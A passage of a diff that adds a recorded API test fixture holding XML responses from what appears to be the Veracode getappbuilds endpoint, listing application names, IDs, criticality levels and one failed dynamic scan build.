+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:18:09 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:18:33 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
